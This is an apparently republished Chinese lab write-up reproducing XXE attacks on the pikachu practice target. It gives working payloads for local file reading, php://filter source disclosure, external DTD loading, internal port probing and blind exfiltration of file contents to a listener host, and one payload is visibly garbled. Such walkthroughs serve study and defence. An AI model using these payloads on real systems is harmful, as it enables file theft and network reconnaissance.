XXE漏洞复现

news2024/11/15 19:57:46

      XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引用,导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行(利用条件苛刻)内网扫描等危害

在本篇      文章中我们使用pikachu靶场实现XXE漏洞复现

1.POC:攻击测试

      在这里,我们先尝试用xml语言定义一个实体,并将其内容定义为“仙男”,然后进行调用,具体的代码如下

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "仙男" > ]>
<foo>&xxe;</foo>

      输入后点击提交,发现我们定义的实体内容直接显示在页面上

2.EXP:查看文件

      xml漏洞还可以让攻击者直接查看网站所有者计算机中的文件,在这里我们利用file协议去读取一下位于C盘下的1.txt文件内容,具体代码如下

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/1.txt" > ]><foo>&xxe;</foo>

输入后点击提交出现如下页面

3.EXP:查看源码

      这一次,我们要查看pikachu靶场下一个文件的源代码,但若是以file和http协议读取.php文件则会报错,因为php文件中含有<>//等特殊字符,xml解析时会当成xml语法进行解析,所以在这里我们可以使用php://filter/read=convert.base64-encode/resource=,将我们获取到的信息先进行base64编码,再将其输出,具体代码如下,(为了举例子,在这里我们仍然查看c盘下的1.txt)

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://192.168.136.133:8844/?%file;'>">
%start;
<?xml version="1.0"?>"php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">  %remote;
%send;]>

      输入后出现如下页面

      将其base64解码后即可获得1.txt内容

4.EXP:DTD外部调用

      xml漏洞还可以利用dtd文件,从外部调用并查看文件,首先将想要查看的文件写到dtd文件中并保存到web根目录下,与pikachu靶场同级

      然后在输入框中输入如下代码,去定义一个参数实体,内容指向我们web目录下的ooo.dtd文件,然后在最后进行调用

<!DOCTYPE foo
[<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://127.0.0.1/ooo.dtd" >
%xxe;
]>
<foo>&evil;</foo>

      点击提交后出现如下页面

5.EXP:探测内网存活主机与开放端口

      利用xml漏洞,我们还可以查看内网中存活的主机以及其开放的端口,具体代码如下

<?xml version="1.0" encoding="UTF-8"?>  <!DOCTYPE foo [ <!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://127.0.0.1:80"> ]>
<x>&rabbit;</x>

      这里是查看我们的80端口是否开放,如果开放则会立马加载完成页面,如果没开放则会加载一段时间后才恢复正常

6.EXP:无回显探测

      上面的文件查看等操作都是在页面有回显的前提下进行的,在这里我们进行一下无回显探测,我们需要用到kali虚拟机。先确保物理机与虚拟机可以连接,然后在kali中开启任意一个端口的监听,这里,我们开启8844端口监听

      然后在我们的web根目录下创建一个dtd文件,用于外部调用,ooo.dtd文件的内容如下

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://192.168.136.133:8844/?%file;'>">
%start;

      这里的url填写虚拟机的ip以及我们监听的端口,然后在c盘下创建一个1.txt文件,我这里的内容为1231

      然后构造我们要在输入框中提交的代码,具体代码如下

<?xml version="1.0"?>
<!DOCTYPE message [    
<!ENTITY % remote SYSTEM "http://192.168.136.133/ooo.dtd">      
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">    %remote;    
%send;]>

      提交后当页面开始加载时,就可以去看虚拟机监听结果了

      

      问号后面的内容就是1.txt中的内容经过base64编码后的内容

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1964339.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一文剖析高可用向量数据库的本质

面对因电力故障、网络问题或人为操作失误等导致的服务中断&#xff0c;数据库系统高可用能够保证系统在这些情况下仍然不间断地提供服务。如果数据库系统不具备高可用性&#xff0c;那么系统就需要承担停机和数据丢失等重大风险&#xff0c;而这些风险极有可能造成用户流失&…

SpringBoot通过3种方式实现AOP切面

❃博主首页 &#xff1a; 「码到三十五」 &#xff0c;同名公众号 :「码到三十五」&#xff0c;wx号 : 「liwu0213」 ☠博主专栏 &#xff1a; <mysql高手> <elasticsearch高手> <源码解读> <java核心> <面试攻关> ♝博主的话 &#xff1a…

实战内测-某内测项目站点FUZZ到Sql注入

0x1 前言 下面给师傅们分享的案例呢是前段时间实战的一个站点&#xff0c;也是我朋友前段时间让我测的一个站点。整体的测试流程也还算ok&#xff0c;然后里面有些细节要是对师傅们有帮助可以收藏下&#xff0c;后面主要是利用FUZZ打了一个sql注入漏洞上去。 0x2 fuzz和sql结…

MAC安装acl

在编译前&#xff0c;需要先从 github https://github.com/acl-dev/acl 下载源码&#xff0c;国内用户可以选择从 gitee https://gitee.com/acl-dev/acl 下载源码。 3.1、Linux/Unix 平台上编译安装 在 Linux/Unix 平台上的编译非常简单&#xff0c;可以选择使用 make 方式或 …

【高校科研前沿】马里兰大学地理科学系在环境科学Top期刊发文:美国本土湿地因不透水面而损失的热点区域

1.文章简介 论文名称&#xff1a;Hotspots of wetland loss to impervious surfaces in the conterminous United States&#xff08;美国本土湿地因不透水面而损失的热点区域&#xff09; 第一作者及单位&#xff1a;Zhenhua Zou&#xff08;马里兰大学(美国)|助理研究教授&a…

Widget自定义动画按钮实战(鼠标进入则放大,离开恢复)

目录 引言 准备工作 步骤一&#xff1a;创建项目和基础控件 步骤二&#xff1a;设计UI 步骤三&#xff1a;自定义按钮类&#xff08;AniBtn&#xff09; 步骤四&#xff1a;在主窗口中使用自定义按钮 步骤五&#xff1a;编译和运行 总结 引言 在Qt开发中&#xff0c;自…

226翻转二叉树

解题思路&#xff1a; \qquad 树相关的题&#xff0c;大部分都可以通过递归来解决。因为树结构&#xff08;尤其是二叉树&#xff09;天然地具有递归发展的性质&#xff1a;对于二叉树的每个树节点&#xff0c;都有一个左节点和一个右节点&#xff0c;且能无限重复延伸。 \qqu…

World of Warcraft [retail] 100G download 2024.07.31

正式服 D:\Battle.net\World of Warcraft\_retail_

微信小程序-选中文本时选中checkbox

1.使用labe嵌套住checkbox标签 <label class"label-box"> <checkbox >匿名提交</checkbox> </label>2.使checkbox和label组件在同一行 .label-box{display: flex;align-items: center; }效果图 此时选中文本匿名提交&#xff0c;checkbox…

ft232 win10驱动

ft232 win10驱动 https://ftdichip.com/drivers/d2xx-drivers/

2024年导游资格证考试报名照很严格!

2024年导游资格证考试报名照很严格&#xff01; #导游证考试 #导游证 #导游资格证考试 #导游资格证 #全国导游证考试 #导游证报名

初学者如何快速掌握工程项目管理软件?

国内外主流的10款工程项目管理系统软件对比&#xff1a;PingCode、Worktile、金蝶EAS、用友NC、汉得信息H3 BPM、SAP ERP、Wrike、Zoho Projects、Accelo、Celoxis。 选择合适的工程项目管理系统软件往往令许多项目经理和团队感到头痛。这不仅关系到项目的效率和成功率&#xf…

C++初学(8)

8.1、string类简介 现在可以用string类型的变量而不是字符数组来存储字符串&#xff0c;string类也用的会比数组简单&#xff0c;同时提供了将字符串作为一种数据类型的表示方式。 要使用string类&#xff0c;必须在程序中包含头文件string。string类位于名称空间std中&#…

昇思25天学习打卡营第XX天|GAN图像生成

感觉顺序要调整下&#xff0c;先GAN再DCGAN再Diffusion 生成式对抗网络&#xff08;GAN&#xff09;是一种前沿的无监督学习模型&#xff0c;由Goodfellow在2014年提出。它包含生成器和判别器两个对抗组件&#xff1a;生成器负责创造逼真的假图像&#xff0c;判别器则判断图像…

多语种语音合成数据,拓宽语音大模型边界

近期&#xff0c;一个名为 ChatTTS 的文本转语音项目爆火出圈&#xff0c;在 GitHub 上已经斩获了 28 k 的 Star 量。 作为一款专门为对话场景设计的语音生成模型&#xff0c;ChatTTS 支持英文和中文两种语言。针对对话式任务进行了优化&#xff0c;实现了自然流畅的语音合成。…

PG物理复制剖析

文章目录 一、物理复制概述二、同步流复制三、pg_basebackup原理源码剖析主流程具体过程 四、主从原理基本介绍1、 WAL日志文件复制2、流复制&#xff08;Streaming Replication&#xff09; 主从原理主从间的通信walsender与walreceiver过程发生故障时的行为扩展问题 一、物理…

KylinSP3 | 一篇搞定金砖信息技术应用创新赛Docker容器集群管理

KylinSP3 | 一篇搞定金砖信息技术应用创新赛Docker容器集群管理 一、知识准备1. Docker介绍2. 四大对象2.1 镜像2.2 容器2.3 网络2.4 数据卷3. Namespace介绍3.1 PID 名字空间3.2 net名字空间3.3 ipc名字空间3.4 mnt 名字空间3.5 uts名字空间3.6 user名字空间4.Docker底层原理-…

linux离线环境下安装anaconda

文章目录 背景下载及传输安装包传输安装包到linux服务器安装anacondash执行安装命令回车接受许可修改安装路径等待解压安装包添加用户环境变量 测试anaconda重新打开终端查看虚拟环境及路径使用ipython进行测试 参考文献 背景 基于内网离linux线环境下&#xff0c;且账号无roo…

Mojo编程语言:AI开发者的未来之选——代码实战解析

1. 引言 在人工智能&#xff08;AI&#xff09;领域&#xff0c;编程语言的选择对于开发效率和性能至关重要。随着AI技术的快速发展&#xff0c;开发者们对编程语言的需求也在不断演变。在这样的背景下&#xff0c;Mojo编程语言应运而生&#xff0c;它以其独特的特性和优势&am…

尚品汇-CompletableFuture异步编排-优化商品详情页(二十五)

目录&#xff1a; &#xff08;1&#xff09;创建异步对象 &#xff08;2&#xff09;计算完成时回调方法 &#xff08;3&#xff09;线程串行化与并行化方法 &#xff08;4&#xff09;多任务组合 &#xff08;5&#xff09;优化商品详情页 &#xff08;1&#xff09;创…